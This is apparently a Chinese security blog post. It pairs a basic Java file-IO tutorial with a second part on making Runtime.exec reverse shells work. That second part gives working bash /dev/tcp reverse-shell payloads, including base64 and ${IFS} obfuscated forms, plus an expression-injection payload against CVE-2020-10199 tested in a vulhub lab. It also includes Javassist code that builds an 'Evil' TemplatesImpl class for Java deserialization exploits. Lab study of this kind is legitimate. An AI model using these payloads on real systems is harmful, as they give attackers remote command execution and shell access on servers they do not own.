暂时两个部分
一、IO流
IO是指 Input/Output,即输入和输出。以内存为中心:
代码是在内存中运行的,数据也必须读到内存,最终的表示方式无非是 byte数 组,字符串等,都必须存放在内存里。
1、创建文件
(1)指定完整绝对路径 直接创建
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 package demo20;import java.io.File;import java.io.IOException;public class fileIOTest { public static void main (String[] args) throws IOException { createFile(); } public static void createFile () throws IOException { File file = new File("F:\\code\\com\\test\\new.txt" ); try { file.createNewFile(); System.out.println("创建成功" ); } catch (IOException e) { e.printStackTrace(); } } }
(2)指定文件夹创建文件
1 2 File filepath = new File("F:\\code\\com\\test" ); File file = new File(filepath, "new2.txt" );
2、获取文件信息
1 2 3 4 5 6 7 8 9 public static void getFile () { File file = new File("F:\\code\\com\\test\\new.txt" ); System.out.println("文件名称为:" + file.getName()); System.out.println("文件的绝对路径为:" + file.getAbsolutePath()); System.out.println("文件的父级目录为:" + file.getParent()); System.out.println("文件的大小(字节)为:" + file.length()); System.out.println("这是不是一个文件:" + file.isFile()); System.out.println("这是不是一个目录:" + file.isDirectory()); }
文件删除,创建多级目录等操作不再介绍。
file.delete()
file.mkdir()
file.mkdirs()
3、IO流分类
| 抽象基类 | 字节流 | 字符流 |
| 输入流 | InputStream | Reader |
| 输出流 | OutputStream | Writer |
字节流(8bit,适用于二进制文件)
字符流(按字符,因编码不同而异,适用于文本文件)
4、文件流的操作
(1)对runtime执行命令进行操作
1 2 3 4 5 6 7 8 9 10 public static void main (String[] args) throws IOException { InputStream whoamiinputstream = Runtime.getRuntime().exec("tasklist" ).getInputStream(); byte [] cache = new byte [1024 ]; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int readLen = 0 ; while ((readLen = whoamiinputstream.read(cache))!=-1 ){ byteArrayOutputStream.write(cache, 0 , readLen); } System.out.println(byteArrayOutputStream); }
代码解释:
runtime exec执行tasklist命令,写入到 输入流,
创建个1024字节的缓存,创建个ByteArrayOutputStream输出流,创建个int readLen,
readLen = whoamiinputstream.read(cache),读取缓存中的数据长度len,赋值为readLen,不为-1,意思就是根据底层,-1为最后结束的字节(如果已到达文件末尾,则返回 -1)。所以意思就是读到输入流结束之前的所有内容的长度 。
将缓存写入到byteArrayOutputStream输出流,数据偏移设置为0,长度就设置为输入流的长度。
(2)read读
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static void readFile () { String filePath = "F:\\code\\com\\test\\new.txt" ; FileInputStream fileInputStream = null ; int readData = 0 ; try { fileInputStream = new FileInputStream(filePath); while ((readData = fileInputStream.read()) != -1 ) { System.out.print((char ) readData); } } catch (IOException e) { e.printStackTrace(); } finally { try { fileInputStream.close(); } catch (IOException e) { e.printStackTrace(); } } }
跟进方法
方法作用:从此输入流中读取一个字节的数据。
1 2 3 public int read () throws IOException { return read0(); }
第二种读取方法:也就是设置缓存
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 public static void readFile () { java.lang.String filePath = "F:\\code\\com\\test\\new.txt" ; FileInputStream fileInputStream = null ; byte [] cache = new byte [8 ]; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int readLen = 0 ; try { fileInputStream = new FileInputStream(filePath); while ((readLen = fileInputStream.read(cache)) != -1 ){ byteArrayOutputStream.write(cache, 0 , readLen); System.out.println(byteArrayOutputStream); } } catch (IOException e){ e.printStackTrace(); } finally { try { fileInputStream.close(); } catch (IOException e){ e.printStackTrace(); } } }
每次循环多读8个字节。
跟进方法:
1 2 3 public int read (byte b[]) throws IOException { return readBytes(b, 0 , b.length); }
跟runtime那次一样,b设置缓存(即输入流),0设置偏移量,b.length设置字节长度。
(3)write写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public static void writeFile () { java.lang.String filePath = "F:\\code\\com\\test\\new.txt" ; FileOutputStream fileoutstream = null ; byte [] cache = new byte [8 ]; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int readLen = 0 ; String content = "gulugulu" ; try { fileoutstream = new FileOutputStream(filePath); fileoutstream.write(content.getBytes()); } catch (IOException e){ e.printStackTrace(); } finally { try { fileoutstream.close(); } catch (IOException e){ e.printStackTrace(); } } }
1 2 3 public void write (byte b[]) throws IOException { writeBytes(b, 0 , b.length, append); }
// 设置追加写入
fileOutputStream = new FileOutputStream(filePath), true;
(4)copy拷贝
实际上没有copy这个函数,靠的是FileIntputStream FileOutputStream读取信息写入到新文件中。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 public static void copyFile () { String srcFilename = "F:\\code\\com\\test\\new.txt" ; String desFilename = "F:\\code\\com\\test\\new3.txt" ; FileInputStream fileInputStream = null ; FileOutputStream fileOutputStream = null ; try { fileInputStream = new FileInputStream(srcFilename); fileOutputStream = new FileOutputStream(desFilename); byte [] cache = new byte [1024 ]; int readLen = 0 ; while ((readLen = fileInputStream.read(cache)) != -1 ){ fileOutputStream.write(cache, 0 , readLen); } } catch (IOException e){ e.printStackTrace(); } finally { try { fileInputStream.close(); fileOutputStream.close(); } catch (IOException e){ e.printStackTrace(); } } }
(5)FileReader
FileReader 用于读取字符流
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 public static void readerFile () { String filePath = "F:\\code\\com\\test\\new.txt" ; FileReader fileReader = null ; try { fileReader = new FileReader(filePath); int readLen = 0 ; char [] cache = new char [8 ]; while ((readLen = fileReader.read(cache))!=-1 ){ System.out.println(new String(cache, 0 , readLen)); } } catch (IOException e){ e.printStackTrace(); } finally { try { fileReader.close(); } catch (IOException e){ e.printStackTrace(); } } }
二、runtime解决弹shell
Java Runtime.exe() 执行命令与反弹shell
主要问题:写的 PoC 有时候收不到回显,尤其是弹 shell 的。
1、Runtime exec机制
Runtime.getRuntime().exec() 总共有六个重载方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 public Process exec (String command) throws IOException { return exec(command, null , null ); } public Process exec (String command, String[] envp) throws IOException { return exec(command, envp, null ); } public Process exec (String command, String[] envp, File dir) throws IOException { if (command.length() == 0 ) throw new IllegalArgumentException("Empty command" ); StringTokenizer st = new StringTokenizer(command); String[] cmdarray = new String[st.countTokens()]; for (int i = 0 ; st.hasMoreTokens(); i++) cmdarray[i] = st.nextToken(); return exec(cmdarray, envp, dir); } public Process exec (String cmdarray[]) throws IOException { return exec(cmdarray, null , null ); } public Process exec (String[] cmdarray, String[] envp) throws IOException { return exec(cmdarray, envp, null ); } public Process exec (String[] cmdarray, String[] envp, File dir) throws IOException { return new ProcessBuilder(cmdarray) .environment(envp) .directory(dir) .start(); }
但不管哪个方法,最后都是调用执行 exec(String[] cmdarray, String[] envp, File dir)
经过new StringTokenizer(command);进入StringTokenizer类的StringTokenizer方法
对命令(字符串)进行分割,默认分隔符号是\t\n\r\f,也就是tab 换行 回车 以及换页符号。
1 2 3 public StringTokenizer (String str) { this (str, " \t\n\r\f" , false ); }
最后存入字符串数组,再传入执行函数。
1 String[] cmdarray = new String[st.countTokens()];
然后底层调用new ProcessBuilder(cmdarray) 创建进程,将cmdarray传入。
然后在.start();
进行调用
判断命令程序,如果命令为空,就抛出异常IndexOutOfBoundsException
进行一系列判断,利用for循环判断cmdarray的长度,剔除空字符\u0000。
最后传入线程执行命令。
2、主要原因
(1)重定向和管道符的使用方式在正在启动的进程的中没有意义。
例如ls > dir_listing命令,在shell中是 执行ls命令,将结果输入到dir_listing文件中。
而在exec() 函数中,该命令为解释为获取 >
和 dir_listing
目录的列表。
换句话来讲,就是重定向和管道符,需要在我们诸如 bash 的环境下才有意义。所以我们需要将 /bin/bash 赋予给 array[0]
来调用 bash 进程。
解决方法:设置环境变量(声明执行命令所需的程序)
1 2 3 bash -c ls > dir_listing 或 /bin/bash -c ls > dir_listing
(2)参数无法界定范围
例如传入exec(“bash -c ‘bash -i >& /dev/tcp/127.0.0.1/4399 0>&1’”) 整个字符串后
经过StringTokenizer(command)之后,会变成
1 "bash" "-c" "'bash" "-i" ">&" "/dev/tcp/127.0.0.1/4399" "0>&1'"
这会导致参数无法界定,比如我们此处解析执行的命令只是 bash -c 'bash 。
所以我们需要让-c后面的参数,不进行分割。
3、解决方案
(1)传入数组执行
exec() 的重载方法,不使用 exec(String command, String[] envp, File dir)
方法,
而是传入数组的话 exec(cmdarray[])
,它就不会进行分割的,所以反弹shell是可以采用的
1 exec(new String[]{"bash","-c","bash -i >& /dev/tcp/127.0.0.1/4399 0>&1"})
通过调试发现,直接进入new ProcessBuilder(cmdarray)
而不经过StringTokenizer进行分割等操作。
(2)传入字符串执行
既然他会对-c后面的字符串进行分割遍历,那么我们把他搞成一个 “整体” 不就行了。
老生常谈的方法,不再解释。
1 "bash -c {echo,YmFzaCAtaSA+Ji9kZXYvdGNwLzEyNy4wLjAuMS84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}"
1 2 bash$ {IFS}-i>&/dev/tcp/127.0.0.1/4399<&1 bash$ IFS$9 -i>&/dev/tcp/127.0.0.1/4399<&1
1 /bin/bash -c '$@|bash' 'echo' 'ls'
实际上执行的是
echo ‘ls’|bash
所以最终的命令是
1 /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/127.0.0.1/4399 0>&1
测试使用vulhub的CVE-2020-10199漏洞
1 "$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/192.168.230.128/4399 0>&1')}"
4、poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 private static byte [] getShortTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = CtNewConstructor.make(" public Evil(){\n" + " try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " }catch (Exception ignored){}\n" + " }" , ctClass); ctClass.addConstructor(constructor); byte [] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte []{}; } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 public static byte [] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil" ); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }" ); byte [] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte []{}; } }
https://github.com/antiRookit/ShortPayload
https://xz.aliyun.com/t/10824